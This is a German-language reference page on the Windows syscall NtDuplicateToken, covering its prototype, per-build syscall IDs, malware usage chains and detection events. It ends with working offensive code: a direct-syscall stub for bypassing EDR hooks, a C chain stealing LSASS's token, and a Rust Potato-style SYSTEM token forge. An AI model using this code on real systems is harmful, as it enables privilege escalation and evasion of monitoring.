> Windows Syscalls
ntoskrnl.exeT1134T1134.001T1134.002

NtDuplicateToken

Erzeugt ein neues Zugriffstoken, das ein vorhandenes Token dupliziert und dabei optional Typ und Impersonations-Level ändert.

Prototyp

NTSTATUS NtDuplicateToken(
  HANDLE              ExistingTokenHandle,
  ACCESS_MASK         DesiredAccess,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  BOOLEAN             EffectiveOnly,
  TOKEN_TYPE          TokenType,
  PHANDLE             NewTokenHandle
);

Argumente

NameTypeDirDescription
ExistingTokenHandleHANDLEinQuell-Token; muss mit TOKEN_DUPLICATE (0x2) geöffnet sein.
DesiredAccessACCESS_MASKinAuf das neue Handle angeforderte Rechte (TOKEN_QUERY, TOKEN_IMPERSONATE, TOKEN_ASSIGN_PRIMARY usw.).
ObjectAttributesPOBJECT_ATTRIBUTESinObjektattribute (SecurityQualityOfService steuert SecurityImpersonationLevel — Identification, Impersonation, Delegation).
EffectiveOnlyBOOLEANinFalls TRUE, werden deaktivierte Privilegien/Gruppen aus dem Duplikat entfernt. Im offensiven Einsatz fast immer FALSE.
TokenTypeTOKEN_TYPEinTokenPrimary (1) für CreateProcessAsUser/WithToken oder TokenImpersonation (2) für Thread-Impersonation.
NewTokenHandlePHANDLEoutErhält das Handle auf das neu erzeugte Token.

Syscall-IDs pro Windows-Version

Windows-VersionSyscall-IDBuild
Win10 15070x42win10-1507
Win10 16070x42win10-1607
Win10 17030x42win10-1703
Win10 17090x42win10-1709
Win10 18030x42win10-1803
Win10 18090x42win10-1809
Win10 19030x42win10-1903
Win10 19090x42win10-1909
Win10 20040x42win10-2004
Win10 20H20x42win10-20h2
Win10 21H10x42win10-21h1
Win10 21H20x42win10-21h2
Win10 22H20x42win10-22h2
Win11 21H20x42win11-21h2
Win11 22H20x42win11-22h2
Win11 23H20x42win11-23h2
Win11 24H20x42win11-24h2
Server 20160x42winserver-2016
Server 20190x42winserver-2019
Server 20220x42winserver-2022
Server 20250x42winserver-2025

Kernel-Modul

ntoskrnl.exeNtDuplicateToken

Verwandte APIs

DuplicateTokenDuplicateTokenExImpersonateLoggedOnUserCreateProcessWithTokenWCreateProcessAsUserWNtSetInformationThreadNtFilterToken

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 42 00 00 00      mov eax, 0x42
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

NtDuplicateToken ist der offensive Dreh- und Angelpunkt jeder Token-Diebstahls- und Make-Me-Admin-Kette. Es ist die Funktion, die `advapi32!DuplicateToken` und `DuplicateTokenEx` umhüllen. Der SSN ist von Windows 10 1507 bis Windows 11 24H2 **stabil bei `0x42`**. Die zentralen offensiven Hebel sind `TokenType` (primary vs. impersonation) und das in `ObjectAttributes->SecurityQualityOfService` kodierte `SecurityImpersonationLevel`: Nur `SecurityImpersonation` (Stufe 2) und `SecurityDelegation` (Stufe 3) erlauben dem Thread, *als* die geklonte Identität zu agieren — `SecurityIdentification` erlaubt lediglich, Mitgliedschaft zu *prüfen*. Ein delegierungsfähiges Token zu erzeugen erfordert, dass das Quell-Token delegierbar ist (Kerberos-forwardable-TGT in Domain-Kontexten).

Häufige Malware-Nutzung

Das mittlere Glied praktisch jeder Impersonationskette. Muster A (Token-Diebstahl): NtOpenProcess(LSASS) -> NtOpenProcessTokenEx(TOKEN_DUPLICATE) -> **NtDuplicateToken(SecurityImpersonation, TokenImpersonation)** -> NtSetInformationThread(ThreadImpersonationToken). Muster B (CreateProcessWithToken / Make-Me-Admin): -> **NtDuplicateToken(TokenPrimary, SecurityImpersonation)** -> CreateProcessWithTokenW. Muster C (Potato-Familie): SYSTEM-Impersonations-Token via RPC-Coercion erlangt -> **NtDuplicateToken(TokenPrimary)** -> CreateProcessAsUserW. Verwendet von Mimikatz' `token::elevate`, Cobalt Strikes `make_token`/`steal_token`, Slivers `impersonate`/`runas`, Conti, BlackCat, Royal sowie jeder Potato-Variante (Hot, Juicy, Rogue, Sweet, Print, Roasted).

Erkennungs­möglichkeiten

Für sich allein ist NtDuplicateToken recht häufig, doch `TokenPrimary`-Duplikate aus einem Nicht-LSASS-/Nicht-`services.exe`-Prozess auf ein Token, dessen User-SID vom Aufrufer-SID abweicht, sind hochverdächtig. Windows-Security-Event **4624 mit Logon Type 9** (NewCredentials) feuert bei `CreateProcessWithLogonW` und ist ein starker Impersonations-Indikator. Event **4648** (Logon mit expliziten Credentials) erfasst `CreateProcessWithTokenW`. Der ETW-Provider `Microsoft-Windows-Threat-Intelligence` (nur PPL) emittiert `EtwTiLogDuplicateHandle`-Klassen-Events für Token-Duplikate in überwachten Prozessen. EDRs hooken `ntdll!NtDuplicateToken` nahezu durchgängig; der Direct-Syscall-Bypass ist daher eine der in Red-Team-Blogs dokumentierten EDR-Evasion-Standardtechniken.

Direkte Syscall-Beispiele

asmx64 direct stub (stable SSN 0x42)

NtDuplicateToken PROC
    mov  r10, rcx
    mov  eax, 42h          ; SSN stable across all builds
    syscall
    ret
NtDuplicateToken ENDP

cFull token-impersonation chain (LSASS -> thread)

// Classic offensive chain: open LSASS token, duplicate as impersonation,
// then impersonate on the current thread. Requires SeDebugPrivilege.
HANDLE hLsass = NULL, hSrc = NULL, hDup = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { (HANDLE)(ULONG_PTR)lsassPid, NULL };

SECURITY_QUALITY_OF_SERVICE sqos = {
    .Length = sizeof(sqos),
    .ImpersonationLevel = SecurityImpersonation,   // <-- must be Impersonation or Delegation
    .ContextTrackingMode = SECURITY_STATIC_TRACKING,
    .EffectiveOnly = FALSE,
};
OBJECT_ATTRIBUTES dupOa = { sizeof(dupOa) };
dupOa.SecurityQualityOfService = &sqos;

NtOpenProcess(&hLsass, PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid);
NtOpenProcessTokenEx(hLsass, TOKEN_DUPLICATE | TOKEN_QUERY, 0, &hSrc);

NtDuplicateToken(hSrc,
                 TOKEN_QUERY | TOKEN_IMPERSONATE,
                 &dupOa,
                 FALSE,
                 TokenImpersonation,   // <-- not Primary
                 &hDup);

NtSetInformationThread(NtCurrentThread(),
                       ThreadImpersonationToken,
                       &hDup, sizeof(HANDLE));

rustPotato-style primary-token forge for CreateProcessWithTokenW

// After an RPC coercion has handed us a SYSTEM impersonation token,
// duplicate it as Primary so we can spawn a SYSTEM-context process.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::{
    SECURITY_QUALITY_OF_SERVICE, SecurityImpersonation,
    SECURITY_STATIC_TRACKING,
};
use windows_sys::Wdk::Foundation::OBJECT_ATTRIBUTES;

extern "system" {
    fn NtDuplicateToken(
        existing: HANDLE, desired: u32,
        oa: *mut OBJECT_ATTRIBUTES, effective_only: u8,
        token_type: u32, new_token: *mut HANDLE) -> i32;
}

const TOKEN_PRIMARY: u32 = 1;
const TOKEN_ASSIGN_PRIMARY: u32 = 0x1;
const TOKEN_DUPLICATE: u32 = 0x2;
const TOKEN_QUERY: u32 = 0x8;

pub unsafe fn forge_primary_system_token(src: HANDLE) -> Option<HANDLE> {
    let mut sqos = SECURITY_QUALITY_OF_SERVICE {
        Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
        ImpersonationLevel: SecurityImpersonation,
        ContextTrackingMode: SECURITY_STATIC_TRACKING as u8,
        EffectiveOnly: 0,
    };
    let mut oa: OBJECT_ATTRIBUTES = std::mem::zeroed();
    oa.Length = std::mem::size_of::<OBJECT_ATTRIBUTES>() as u32;
    oa.SecurityQualityOfService = &mut sqos as *mut _ as *mut _;

    let mut dup: HANDLE = 0;
    let s = NtDuplicateToken(
        src,
        TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY,
        &mut oa, 0, TOKEN_PRIMARY, &mut dup);
    if s == 0 { Some(dup) } else { None }
}

MITRE ATT&CK-Mappings

Last verified: 2026-05-20